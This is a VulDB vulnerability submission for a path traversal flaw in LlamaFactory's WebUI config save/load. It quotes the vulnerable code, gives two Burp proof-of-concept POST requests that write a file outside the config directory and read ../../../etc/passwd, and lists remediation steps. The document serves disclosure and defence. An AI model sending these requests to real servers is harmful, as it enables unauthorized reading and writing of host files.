提交 #1055908: hiyouga LlamaFactory <= 0.9.6 (main branch) Path Traversal in Config Save/Load信息

标题hiyouga LlamaFactory <= 0.9.6 (main branch) Path Traversal in Config Save/Load
描述Description: The WebUI’s save/load config function uses a user-controlled config_path parameter directly concatenated with DEFAULT_CONFIG_DIR. No path normalization or directory confinement check. Attackers can use ../ sequences to escape the designated directory, achieving arbitrary file read/write on the host server. Problematic Code: File: src/llamafactory/webui/runner.py:501, 509 # 保存配置 (第 501 行) save_path = os.path.join(DEFAULT_CONFIG_DIR, config_path) save_args(save_path, self._build_config_dict(data)) # 加载配置 (第 509 行) config_dict = load_args(os.path.join(DEFAULT_CONFIG_DIR, config_path)) Path Traversal Verification config_path: '../../../tmp/evil.yaml' joined: llamaboard_config/../../../tmp/evil.yaml real: /home/user/Doubao/tmp/evil.yaml safe: False ← 成功跳出目录! Burp POC 1: Save the settings and write to a file outside the directory POST /api/predict HTTP/1.1 Host: 127.0.0.1:7860 Content-Type: application/json { "session_hash": "aaaaaa", "fn_index": 12, "data": [ "../../../tmp/llama_pwn.yaml", {"model_name": "test-model", "batch_size": 4} ] } Effect: Write the YAML configuration content to /tmp/llama_pwn.yaml Burp POC 2: Load configuration, read any local file POST /api/predict HTTP/1.1 Host: 127.0.0.1:7860 Content-Type: application/json { "session_hash": "aaaaaa", "fn_index": 13, "data": [ "../../../etc/passwd" ] } Remediation: Use os.path.realpath() to normalize the final path Enforce that the final path must be a subdirectory of DEFAULT_CONFIG_DIR Filter out ../, absolute paths, and other special characters, allowing only plain filenames
来源⚠️ https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-h448-p698-4q2g
用户
 Anonymous User
提交2026-10-25 02時22分 (1 月前)
管理2026-11-24 09時52分 (1 month later)
状态已接受
VulDB条目442772 [hiyouga LLaMA-Factory 直到 0.9.5 WebUI runner.py save_args/load_args config_path 目录遍历]
积分20

Do you need the next level of professionalism?

Upgrade your account now!